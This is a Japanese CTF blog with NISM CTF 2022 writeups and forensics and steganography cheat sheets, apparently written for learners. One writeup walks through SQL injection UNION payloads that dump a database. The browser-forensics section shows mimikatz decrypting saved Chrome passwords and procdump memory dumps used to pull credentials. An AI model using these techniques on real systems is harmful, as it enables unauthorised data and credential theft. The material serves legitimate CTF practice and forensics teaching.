はまやんはまやんはまやん

hamayanhamayan's blog

NISM CTF (2022) Writeups

[Forensics] Lost USB memory

fileコマンドでどういうものか見てみよう。

$ file problem.bin problem.bin: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "MSDOS5.0", sectors/cluster 2, reserved sectors 6334, Media descriptor 0xf8, sectors/track 63, heads 255, sectors 245760 (volumes > 32 MB), FAT (32 bit), sectors/FAT 929, serial number 0x70d02f45, unlabeled

MBRとか書いてあるのでディスクイメージっぽい。USBのイメージを丸々持ってきたものかな。
FTK Imagerで開いてみると、消されていたファイルも見えてきた。
!flag.pdfを見みるとフラグがある。

[Forensics] Hidden files

foremost -v [file]をしてみると隠し画像が見つかる。
どれもフラグが書いてあるのでくっつけると答え。

[Forensics] A file is opening

名前から、メモリダンプっぽいのでvolatility3で解析してみる。
ファイル名からwin10っぽいので、windowsという仮定を置いて解析。
「とあるプログラムが重要なファイルを開いているみたい...」とのことなので、まずは「とあるプログラム」を特定する。

python3 ~/.opt/volatility3/vol.py -f Win10_MEMORY.DMP windows.pstreeを見てみよう。

Volatility 3 Framework 2.4.1

PID PPID    ImageFileName   Offset(V)   Threads Handles SessionId   Wow64   CreateTime  ExitTime

4   0   System  0x8636e640  139 -   N/A False   2022-07-15 23:04:19.000000  N/A
* 72    4   Registry    0x87e32640  4   -   N/A False   2022-07-15 23:04:07.000000  N/A
* 348   4   smss.exe    0x8f01a640  2   -   N/A False   2022-07-15 23:04:19.000000  N/A
* 1400  4   MemCompression  0x92bb3300  26  -   N/A False   2022-07-15 23:04:40.000000  N/A
540 524 csrss.exe   0x8f022540  11  -   1   False   2022-07-15 23:04:38.000000  N/A
600 524 winlogon.exe    0x92a3c040  4   -   1   False   2022-07-15 23:04:38.000000  N/A
* 792   600 fontdrvhost.ex  0x8f70b040  5   -   1   False   2022-07-15 23:04:39.000000  N/A
* 3568  600 userinit.exe    0xa0c1d840  0   -   1   False   2022-07-15 23:04:53.000000  2022-07-15 23:05:23.000000 
** 3652 3568    explorer.exe    0x9f854040  78  -   1   False   2022-07-15 23:04:53.000000  N/A
*** 5288    3652    vmtoolsd.exe    0xa0da7040  6   -   1   False   2022-07-15 23:05:30.000000  N/A
*** 5656    3652    cmd.exe 0xa5a02640  2   -   1   False   2022-07-15 23:05:38.000000  N/A
**** 4656   5656    notepad.exe 0x9f8477c0  5   -   1   False   2022-07-15 23:06:27.000000  N/A
**** 5676   5656    conhost.exe 0xa5a07040  5   -   1   False   2022-07-15 23:05:38.000000  N/A
*** 5332    3652    OneDrive.exe    0xa6c32640  16  -   1   False   2022-07-15 23:05:31.000000  N/A
*** 5196    3652    SecurityHealth  0xa6c24680  7   -   1   False   2022-07-15 23:05:29.000000  N/A
* 936   600 dwm.exe 0x92ac5680  17  -   1   False   2022-07-15 23:04:39.000000  N/A

んー、ファイルを開くといえば、notepad.exeか。
pidは4656なので、python3 ~/.opt/volatility3/vol.py -f Win10_MEMORY.DMP dumpfiles --pid=4656で関連ファイルをdumpしてみる…が何もない。

他を見てみるとcmdlineの方で有用な情報が出ていた。
python3 ~/.opt/volatility3/vol.py -f Win10_MEMORY.DMP windows.cmdline

...
5676    conhost.exe \??\C:\Windows\system32\conhost.exe 0x4
4656    notepad.exe C:\Windows\system32\notepad.exe  C:\Users\Koito_Yuu\Desktop\flag\base64\TklTTXtNM20wcnlfZHVtcF90Mzc3X3U1XzV0NHQzXzBmX3RoM19QQ18xbl90aDNfbTBtM250fQ==
3744    sppsvc.exe  C:\Windows\system32\sppsvc.exe
4320    svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p

ファイル名をbase64デコードすればフラグ。

[Forensics] Find Reg Value 解けず

レジストリにインストール日時が記録されているのでとって来る。
以下が参考になる。
https://for0n6x.hatenablog.com/entry/2018/06/03/222547

この情報をもとにVolatilityで探ったがレジストリの値が出てこない…
レジストリハイブをちゃんと羅列してきて、指定すれば取ってこれたみたい。
うーん、反省。

[Web] 超、易問!

?color=ほにゃららで色が変更できる。
NISMのテーマカラーということで、トップページのロゴを見てみると水色が目に入る。
色々それっぽい色名で試すと?color=blueでフラグが出てきた。

[Web] frog, frog, frog

作品を変えて青空文庫にある作品を閲覧できるサイト。
作品を変えるときにPOSTでIDっぽいものをつけている。
こういう系はLFIを狙うのが定石なので、とりあえず色々試す。
…がいまいち刺さらない。途中でuser=guestという怪しいcookieがあるが、特に何もできそうにない。

1つ目のヒントは無料っぽいので見てみる。

本当に全部カエルの作品だろうか?

ほう…
あたらめて見返すと、ページ上部の表にThe flag hidingというのがある!
なるほど。カラムにはないが、1980s: The flag hidingが読めればよさそう。
他の様式を参考にPOST /に対してcontents=1980s%2FThe+flag+hidingを送信すれば内容が見られる。
だが、フラグはまだのようだ。

ChromeのDevToolsのElementsで適当に探索していると、<div id="hidden"><br></div>部分に::afterがついていることに気が付く。
たどるとcssの方にフラグが書いてあり、これが正解。
つまり、最初からフラグは手元にあった訳だ。
面白いフラグの置き方。

[Web] お米食べろ

検索機能付きで統計が見られるサイト。
検索機能くらいしか攻撃点がなさそうなので、SQL Injectionを試す。
長_とすると長野と長崎が出てきたのでLIKE文感がある。
シングルクオーテーションを含めると''%'order by ha DESC'というのが出てくる。 x' union select 1,2,3 #としてみると、1,2,3が出てくる。OK.
以下のように色々探索してフラグを探すとある。

x' union select GROUP_CONCAT(distinct TABLE_SCHEMA),2,3 FROM INFORMATION_SCHEMA.TABLES #
-> flags,information_schema,japan

x' union select GROUP_CONCAT(distinct table_name),2,3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='flags' #
-> flags

x' union select GROUP_CONCAT(distinct column_name),2,3 FROM INFORMATION_SCHEMA.columns WHERE table_name='flags' #
-> flag,id

x' union select flag,id,3 from flags.flags #
-> フラグっぽいのがたくさん

色々出てくるがNISM{...}のものが1つあるので答え。

[NetWork] Electrical talk

pcapファイルを開いてみるとICMPの応答失敗がたくさん目に付く。
1台は応答が来ているはずなので、いい感じにフィルタリングしていく。

最初は2288パケット。
まずは、エラーになっているものを取り除こう icmp.type != 3
これで759パケット。
あとは応答があるものが見たいので、ソースが発信元っぽい192.168.100.2であるものを取り除く。
(icmp.type != 3) && (ip.src != 192.168.100.2)
3パケット。いい感じ。
これでIPがわかるのでホスト名を引いてきて答える。

[NetWork] Insecure communications

大量にリクエストがあるのでhttpでフィルタリングして眺めようとしたが…まだ多い。
「クレデンシャルを見つけて」ということなので、POSTの通信を探すと、

21640    611.352067  192.168.0.98    192.168.0.25    HTTP    850     POST /cgi-bin/mail-maga-auth.py HTTP/1.1  (application/x-www-form-urlencoded)

というのが見つかる。
http.request.method == "POST"でフィルタリングしてみると13パケット出てくる。
POSTのbodyについて「列として適用」を使って一覧に表示してみると、ユーザー名は固定でパスワードが色々ある。
最後の試行で成功しているだろうと推測してクレデンシャルをメモっておく。
最後の施行のパケットを右クリックして、「追跡」、「TCPストリーム」をして、どこに入力しているかを特定する。

すると、POSTの直前でhttp://electronic.tuda-organization.siebold-cyber.net/magazine.htmlにつないでいるのがわかるので、
行ってみるとクレデンシャルを入力する画面が出てくる。
先ほどメモったクレデンシャルmu05201914:zaCra-a4a_l9@kU3-8gを使うとフラグが手に入る。

[NetWork] Where am I?

192.168.1.93で/28を考えればいいが、cyberchefでいい感じに見れる

https://gchq.github.io/CyberChef/#recipe=Group_IP_addresses('Line%20feed',28,false)&input=MTkyLjE2OC4xLjkz

あとは様式通りのフォーマットで答えれば正解。

[Misc] カラーコード

CyberChefにそれっぽいの無いかなーと思ったらあった。こんなのあるのね。
https://gchq.github.io/CyberChef/#recipe=Parse_colour_code()&input=cmdiKDAsMTUzLDIwNCk
hex部分が答えのもの。

[Misc] 奇妙な文字列

よくわからないエンコード物に対する手法の1つとしてCyberChefのmagicがある。
試すとbase64-encodedだと教えてくれる。

https://gchq.github.io/CyberChef/#recipe=Magic(3,false,false,'')&input=VGtsVFRYdGlRSE5sTmpSZll6UnVYMkl6WDJWaE5Xa3hlVjlrWldNd1pHVmtmUT09

CTFにおけるステガノグラフィ入門とまとめ

この記事はCTF Advent Calendar 2022の14日目の記事です。
昨日はCTFにおけるフォレンジック入門とまとめ - はまやんはまやんはまやんでした。殴り書きですみません。

初めに

本記事では、CTFでステガノグラフィ(steganography)と言われる分野についてまとめる。
ステガノグラフィは知っているだけで解けるような問題も多くあるので、備忘も兼ねてまとめておく。

注意事項

CTFにおけるステガノグラフィ問題

Wikiを参照すると、「情報隠蔽技術の一つであり、情報を他の情報に埋め込む技術」とある。
CTFにおいては、隠蔽される情報はフラグか問題を進展させるものであり、埋め込み先は多彩である。

CpawCTF-Steganography - Speaker Deck
↑の記事が最強。とても分かりやすいし、初学者が読むのに最適。説明も丁寧。
初学者はこちらのスライドを一通り読んでから戻ってくることを勧めます。(戻ってくる必要もないかも)

ステガノグラフィに対して他の問題と大きく異なるのが、競技者不利の状況である。
他のジャンルの問題は机上におおよそ解くために必要な情報は揃っているが、
ステガノグラフィは「どういった情報」が「どういった方法」で埋め込まれているかを推測以外にほとんど知る術がない。
…いや、ちょっと強い表現かも。(推測以外にもエントロピーを確認したりとか、暗号学的なアプローチから推測は可能かもしれません。)
さておき、こういった状況があるので問題文にヒントを入れたりすることで多少なりともロジカルに解ける可能性を残していたりする。
そういった情報やググって出てきた手法、試行錯誤によって埋め込まれた情報を取り出してくる。

解き方/初学者に向けて

ステガノグラフィは全部アドホックな解法なので何とも言えないが、今までやってきた感じ、傾向が無くもないので気が付いた所をつらつらと書いていく。

  • まず、File Carvingやstringsなど、どんなファイルでも汎用的に行うチェックはあるので、それを実施しよう
  • 各ファイルフォーマットに対して使えるステガノグラフィ手法が異なるので、一通り試す
    • 適当に調べて出てきた手法を試す。Writeupで見つけたんだけど試さなかったが死ぬほど心当たりある
  • 冷静になる。難しく考えすぎないこと
    • 手元にある方法でダメだったら、もうやりようはないのでググって新しいステガノグラフィ手法を探しにいくか、あきらめて寝る
  • 比較的グループ化できる隠蔽方針
    • LSB, Least Significant Bit
      • データの最下位のビットに01で情報を埋め込んでいく手法。特に画像では画素情報の最下位ビットが変化しても見た目上は変化がないので見た目では自然に見える。ただ、最下位ビットだけを抽出して見てみると、元の画像のエントロピーとは異なる感じに見えてくるので怪しいみたいなことがあったりする(説明下手)
    • 2つの全く同じように見えるファイルに対する差分を利用
      • 元画像を何かしらの方法で探してきて差分比較するようなパターンも見たことある
    • 特殊なエンコーディング
      • この辺りは自分であれこれ考えてもしょうがないので、ステガノグラフィの各種ソルバーを順番に回していって成功するまで頑張るしかない
    • フォーマットの構造上余っている部分にデータを置く
      • File Carvingで拾ってこれる可能性もあるが、こういった可能性もある。ややフォレンジック問に近いかもしれない

サブジャンル

サブジャンルについて、キーワード形式でまとめていきます。 学習の参考にしてください。

ファイルに対して汎用的に行える操作

とりあえずバイナリファイルに対してできることをあれこれやってみるのがいい。 フォレンジックでやるようなこともやってみると思わぬ情報が手に入るかも。

  • file
    • 拡張子が偽装されている可能性もあるので、とりあえずfileコマンドでファイルの種類を特定する
  • File Carving
    • とあるファイルに対して別のファイルが素直に埋め込まれている場合は、File Carvingを使って埋め込みファイルを取り出すことができるかもしれない。 -> forensicのページ
  • バイナリエディタテキストエディタで眺める
  • XOR暗号化されてる箇所あるかも

テキストファイルに対するステガノグラフィ

画像ファイルに対するステガノグラフィ

動画ファイルに対するステガノグラフィ

音声ファイルに対するステガノグラフィ

資料,未整理リンク

CTFアドカレの明日は?

明日はkanonさんの「初心者がCTF始めるためにはどうすればいいのか(個人的偏見)」です。
cryptoのWriteupを多く書いていて、いつも参考にさせてもらっています!圧倒的感謝

CTFのフォレンジックにおけるブラウザフォレンジックまとめ

親記事 → CTFにおけるフォレンジック入門とまとめ - はまやんはまやんはまやん

ブラウザフォレンジック

IE

  • Internet Explorer
    • IE 8-11 (Windows7) C:¥Users¥【ユーザー名】¥AppData¥Local¥Microsoft¥Windows¥Temporary Internet Files¥Content.IE5
    • IE 11(Windows8 以降) C:¥Users¥【ユーザー名】¥AppData¥Local¥Microsoft¥Windows¥INetCache

Chrome

  • ログ
    • C:¥Users¥【ユーザー名】¥AppData¥Local¥Google¥Chrome¥User Data¥Default¥Cache
  • 保存されている認証情報
    • C:¥Users¥【ユーザー名】¥AppData¥Local¥Google¥Chrome¥User Data¥Default¥Login DataをDB Browser for SQLiteで開いて確認
    • nirsoftにも解析ツールはあるが、パスワードが暗号化されていると見れなくなる
    • パスワードが暗号化されている場合はDPAPIが使われている
      • mimikatzを起動してdpapi::chrome /in:"C:\Users\eric\Downloads\Seized\AppData\Local\Google\Chrome\User Data\Default\Login Data" /masterkey:138f089556f32b87e53c5337c47f5f34746162db7fe9ef47f13a92c74897bf67e890bcf9c6a1d1f4cc5454f13fcecc1f9f910afb8e2441d8d3dbc3997794c630みたいに復号
        • 副産物にAESキーが得られる
        • Local Stateというファイルも持っている場合は、追加でstate:"Local Stateへのパス"を追加すると別の情報が得られるかも

FireFox

  • Firefox 32.0以降
    • C:¥Users¥【ユーザー名】¥AppData¥Local¥Mozilla¥Firefox¥Profiles ¥【プロファイル名】.default¥cache2
    • Firefoxは、一時ファイル(キャッシュ)としてダウンロードしたファイルの末尾に、HTTPリクエスト/レスポンスの情報を追記する。バイナリエディタで確認することで、ダウンロード元URLを特定することが可能
  • .mozillafirefoxの情報が入ってる
    • firefoxの履歴情報はplaces.sqliteに入っているから、これを覗けば中身が見られる
    • Ubuntu 22だと~/snap/firefox/common/.mozilla/firefox/にプロファイルがおいてあるかも
  • メモリから認証情報が抜けるかも
    • psでPIDを手に入れてprocdump64.exeを被害者環境に入れて.\procdump64.exe -accepteula -ma [PID]で持ってくる。
    • stringsで文字列を探してgrep passwordで認証情報っぽいもが無いか探してみよう
  • 解析ツール

CTFのフォレンジックにおけるログフォレンジックまとめ

親記事 → CTFにおけるフォレンジック入門とまとめ - はまやんはまやんはまやん

ログフォレンジック

  • かなりざっくりした分野定義であるが、とあるログに対して解析をするジャンル
    • ログの対象に対する理解、どのようなログがどこに残るか
    • ログを収集するアプリケーションの使い方を理解しているか
  • どんなログを対象とする?
    • syslogとか、/var/log配下を読む
    • Windowsイベントログ
    • Apacheアクセスログ
    • IISのアクティブログなど
    • 認証ログとか、EDRのログとか、WAFのログとか、ほんとに色々。全部。
  • どういうスキルが必要?
    • ググって理解する能力
      • 初めて見るログや内容も出てくると思う。頑張ってググる
    • 背景知識を知ってるか
      • 有名な脆弱性ペイロードだったり、Webの攻撃手法とか、ネットワークの攻撃手法を知っているとログが読みやすいかもしれない
    • シェル芸に長けていると解析しやすいかも
      • 大量のログデータが与えられることもあるので、grepするとか、ワンライナーでさっと統計情報を取れるようになっているといい
    • ログを扱うデータベースをうまく扱うことができるか、クエリ検索できるか
      • Elasticsearch、SplunkでSPLとか
    • grep
  • snortルール: EDR向けの検知ルール記法。CTFで見たことはないけど

CTFのフォレンジックにおけるメールフォレンジックまとめ

親記事 → CTFにおけるフォレンジック入門とまとめ - はまやんはまやんはまやん

メールフォレンジック

  • 怪しいメールに対して調査してくださいという問題
  • それほど難しくはできないので、そんなに頻出ではないイメージ
    • だが、現在フィッシングメールが初期攻撃の大きな要因の1つであることを考えると、興味深い分野ではある
  • フォーマット
    • MBOX: テキストフォーマットなので自然にみられる
    • PST: readpst [pstfile]としてMBOXに変化して確認する
    • Outlook Expressdbxファイルが得られた場合はそのフォルダに移動してundbx .でメール内容が復元できるかも
    • emlファイル: 中身はMBOXと同じっぽい?
  • テキストフォーマットでのメールの確認
    • メールヘッダーの確認
      • とりあえず、Receivedヘッダーが転送時の区切りになるので、Receivedの上にスペースを入れていくと、メールの中継点でどのようなヘッダーが追加されていったかが分かる
      • 他にも以下のようにたくさんある
        • From: 送信元
        • To: 宛先
        • Subject: メールの題名
        • Date: メーラーでのメール送信日時
        • Message-ID: メールの識別子
  • 特にメールの添付ファイルや一部本文は、base64エンコードや、Quoted Printableエンコードされているので、復号化して更に中身を解析することがよくある

CTFのフォレンジックにおけるネットワークフォレンジックまとめ [Wireshark, pcap]

親記事 → CTFにおけるフォレンジック入門とまとめ - はまやんはまやんはまやん

ネットワークフォレンジック

  • ネットワークのパケットログに対してフォレンジックを行う
    • ネットワークに関する基礎知識やプロトコルの知識が必要
  • Wiresharkというツールを使って解析する。cap, pcap, pcapngファイルが扱える
    • WiresharkではUSB通信やBluetoothのログも取れるので、それを解析する問題も出ることがある

Wireshark

  • パケットを右クリックすると使える「追跡」機能は無茶苦茶便利
    • Follow TCP Stream
  • 解析の初手として統計/分析情報も使える。特に以下2つが初手眺めるのに良い
    • Protocol Hierarchy : 利用されているプロトコルの統計を知りたい
    • Endpoints : どのような端末が通信しているかの統計を知りたい
      • とある端末で採取しているので最も多いendpointは自分(被害端末)が多い。次に多いのが攻撃端末かも
  • フィルタもIP絞り込みとかさっと行えるといい
    • httpでhttp通信に絞れる
    • (ip.src == 192.168.100.103) || (ip.dst == 192.168.100.103)とか便利
  • 後は雑に探したいときは文字列検索も可能(Ctrl+F)
  • 通信されているファイルを抜き出したいときはファイル/オブジェクトをエクスポート/????で取る
    • 破損したpcapファイルの修復 PCAP ファイルの修復 - CTF Wiki
    • コマンドで色々処理したい場合はtsharkが使える
    • pythonで弄りたいときはimport dpkt
    • snortルール: ネットワークパケットに対して適用可能なルール

TCP/UDP通信

  • TCP通信 -> Follow TCP Streamで通信を盗み見る
    • HTTP
      • C2通信とか、怪しいサイトのアクセスが記録されているかもしれない
    • FTP
    • SMTP
    • ほんとに色々...
    • HTTPS通信はPEM形式でRSA秘密鍵が手に入っていれば復元可能
  • UDP通信
    • DNS -> 名前解決されるドメインを確認。OOB抽出を疑ってみる

ICMP通信

  • ICMPでDNSのOOB抽出っぽくやってる問題しか見たことない

無線通信 IEEE 802.11

  • 「無線 > 無線LAN統計」で通信元の一覧が見れる
  • Wiresharkで無線LAN(802.11)のデータを見てみよう! - シアトル生活はじめました
    • 802.11のパケットの種類は大まかに三種類ある wlan.fc.type == 0でフィルタ
      • Management frames: APと接続したり切断したり認証したり・・ (0)
      • Control frames: 他のフレームを運ぶため。ヘッダーしかない (1)
      • Data frames: 実際にデータを含むパケット (2)
    • wlan.fc.subtypeでサブタイプもある
    • Wireshark 802.11 Display Filter Field Reference」が良い資料になる
    • wlan.ra == 88-00-00-00-00-00で特定の送り先(元?)に限定する
  • 「統計 > フローグラフ」がすごい使えそう

USB, Bluetooth

CTFのフォレンジックにおけるメモリフォレンジックまとめ [Volatility 3, Volatility 2]

親記事 → CTFにおけるフォレンジック入門とまとめ - はまやんはまやんはまやん

メモリフォレンジック

  • メモリダンプが与えられて解析をする問題
  • Volatility Foundation
    • メモリダンプ解析のスタンダード。これ以外で解析している記事を見たことが無い。(Redlineとか昔はあったぽいが)
    • Volatility2(無印)とVolatility3があるが、全くの別物。今から学習を始めるなら、絶対にVolatility 3から始めること
    • コマンド実行は結構時間かかるので、プロファイルの特定までは手動でやって、コマンド実行についてはよく使うコマンドを適当なシェルスクリプトで一括で持ってくるといい(その間にご飯)
    • Volatility使わなくてもバイナリ解析でやるようなことをやれば時間はかかるけど、使える情報が抜ける可能性は大いにある
      • 例えばFile Carvingを使ってファイルを抜き出したり、stringsでそこそこ有益な情報が得られたりもする

解く流れ

  1. メモリダンプがどのOSのものかを特定する
    • volatilityの解析機能ですぐに特定できるかも
    • できなければ、strings -n 10 mem.bin | grep "ubuntu"みたいに根性で種類とビルドバージョン(カーネルバージョン)を特定する
  2. シンボルテーブルがなければ作る(メモリのどこに何があるかをまとめたもの…だと思っているが)
    • なければ作るしかないが、想像よりも大変ではない
  3. 頑張って解析する
    • これは頑張る。メモリ解析は時間がかかるのでよく使うコマンドをシェルスクリプトにまとめて一括実行するのがおすすめ

Volatility 3(ちょっと情報薄い。ドキュメント見るといい)

  • https://qiita.com/ninja400/items/f3dd1e6eb80fd5b39ba9
  • windows
    • python3 /opt/volatility3/vol.py -f image.raw windows.info.Info WindowsInfoが読み取れる
      • NTBuildLab 7601.17514.amd64fre.win7sp1_rtm. -> win7sp1が入ってる
      • Is64Bit True -> 64bits
    • python3 /opt/volatility3/vol.py -f image.raw windows.pstree.PsTree プロセスツリーが見られる
      • cmd.exeが実行されているなら、コマンド系を深堀りしてみる
    • python3 /opt/volatility3/vol.py -f image.raw windows.netscan.NetScan ネットワークコネクションが見られる
      • 怪しいIPを見つけたらVirusTotalで確認
    • python vol.py -f image.raw windows.cmdline.CmdLine 現在実行中のプロセスがどのような引数で実行されたかが見られる
    • python vol.py -f image.raw windows.dumpfiles --pid="1676" メモリ上にあるpidが1676の関連ファイルをdumpしてくれる
    • python vol.py -f image.raw windows.mutantscan.MutantScan 使用されているミューテックスを出力する
      • 通常、悪意のあるプログラムの作成者は、そのプログラムが二重起動するを避けるためミューテックスを使用する
    • python3 /opt/volatility3/vol.py -f image.raw windows.filescan files scanning
    • python3 /opt/volatility3/vol.py -f image.raw windows.dumpfiles --pid="2760" Dump Files
    • python3 /opt/volatility3/vol.py -f physmemraw windows.hashdump.Hashdump hashdump
    • Volatility 3のWindows symbolic table
  • Linux

Volatility2

本当は載せるべきではないんだろうけど、こっちじゃないとたまーに動かなくて未だに動かす。
今から始める人は絶対にVolatility3から始めること。

  • 情報セキュリティ技術のスキルアップ・イベント 仙台CTF 2017
    • よい日本語資料
  • 解析前にprofileを特定、または、用意する必要がある
  • python2 /opt/volatility/vol.py -f memory.raw --profile=Win7SP1x64 [command]みたいにプロファイルをつけてコマンド実行する
    • windows
      • プロセスを確認してみよう
        • pslist -P 実行中のプロセスリストが得られる
        • pstree 実行中のプロセスツリーが得られる
        • cmdline 動いているコマンドを一覧表示できる
      • 怪しいプロセスのpidが得られたら…
        • dumpfiles --pid="[pid]" --dump-dir=./で関連ファイルを抜き出してみる
          • stringsしてから関連キーワードでgrepしてやれば何か出てくるかも
        • procdump -p [pid] -D output pidのプロセスのexeを出力する
        • memdump --pid=[pid] -D . 指定pidのメモリダンプ
      • cmdscan cmd.exeで使用したコマンドが見られる(パスワードとか抜けたりするかも)
        • consoles よくわかってないけど、cmdscan使っておけばいいと思う
      • envars 環境変数が見られる
      • filescan 現在開かれているファイル一覧が得られる
        • grepをうまく使うといい もろもろ filescan | grep hostsみたいに
        • dumpfiles -D . --name -Q [offset] offsetのファイルをdumpする
          • offsetはfilescanで得られたオフセットを入れる ex.0x000000004fa23f0
      • hashdump ユーザーアカウントのパスワードハッシュを取得する
      • clipboard クリップボードを取得する
      • notepad ノートパッドにある文字列を抜き出してくる
      • screenshot -D screens/ スクリーンショットを持ってくることができる?
      • 通信系
        • まずはこれ 👉 netscan ネット通信関連のアーティファクト収集
        • sockets 確立しているTCP/UDPのソケット一覧取得(だけど--profile=Win7SP1x86_23418でやってみたら動かなかった
        • connections 通信の一覧を取得(だけど--profile=Win7SP1x86_23418でやってみたら動かなかった
        • connscan 通信の一覧を取得(だけど--profile=Win7SP1x86_23418でやってみたら動かなかった
      • iehistory IEの履歴を取得する
      • yarascan -Y "[keyword]" yaraを使ってキーワードスキャンする
      • レジストリ
        • hivelist レジストリハイブ一覧を取得する
          • dumpregistry -o [offset] -D output hivelistからoffset(0xXXXXXX)を持ってきて、これで出力する。Registry Explorerで中身を見ればいい。
        • userassist レジストリのUserAssis情報を見て、起動履歴などを確認する
        • printkey -K "Software\Microsoft\Windows\CurrentVersion\UnreadMail\[email protected]" レジストリを直接参照したいとき
      • lsadump LSAメモリをダンプしてくる
    • linux Linux Command Reference · volatilityfoundation/volatility Wiki
      • linux_bash bashの実行履歴を確認する
      • linux_enumerate_files ファイル列挙ができる
        • ここでメモリアドレスも一緒に得られるのでlinux_find_file -i [address] -O [output filename]で取り出せる
      • linuxのバージョンを把握するとき grep -a "Linux version" mem.limeのように関連ワードで直接grep
        • Welcome to Ubuntu 20.04.1 LTS
          • TAMU CTF 2021だと、ISOダウンロードしてきてvolatilityツールでdwarfとmapを取得してきて使っている。
      • linux_lsof lsofコマンドと同等の結果が得られる
        • すべてのプロセスがオープンしているディスク上のファイル、名前付きパイプ、ネットワークソケット、デバイスが含まれる
        • オープンしているものとしては
          • /dev/pts/0 ファイルか名前付きパイプ(?)
          • socket:[xxx] ネットワークソケット xxxにある数字はなんだろう
          • anon_inode:[xxx] わからん
          • pipe:[xxx] pipe?
          • :[xxx] anonymous file createdらしい
      • pidからメモリマップを取得 linux_proc_maps -p [pid]
        • 0xffff911935415b00 9260 bash 0x00005574f0196000 0x00005574f02a2000 rw- 0x0 0 0 0 [heap]
        • 0xffff911935415b00 9260 bash 0x00007ffc9446d000 0x00007ffc9448e000 rw- 0x0 0 0 0 [stack]
          • こんな感じでheap領域やらstack領域やらも表示してくれるので持ってきてstringsとかすると面白いデータが転がってるかも
          • linux_dump_map -p [pid] -s 0x00007ffc9446d000 -D .のような感じでstack領域をダンプしてこれる
      • linux_volshell pythonコンソールを起動して、色々やる
        • cc(pid=[pid])でコンテキストを指定pidに移す(色々やる前にやる)
        • 使用されている(いた?)inodeを抜き出す
          • for filp, fd in self._proc.lsof():として print("{}: {} (INODE: {})".format(fd, filp, filp.f_inode))として更に改行
          • 0: 18446622369272764928 (INODE: 18446622369302465544)という感じで色々出てくる。先頭の0:部分はファイルディスクリプタでlsofした結果と紐づく
          • linux_find_file -i [inode] -O out.binとしてファイルをダンプしてくる
      • OpenSSHのカギを取得するためのプラグインがある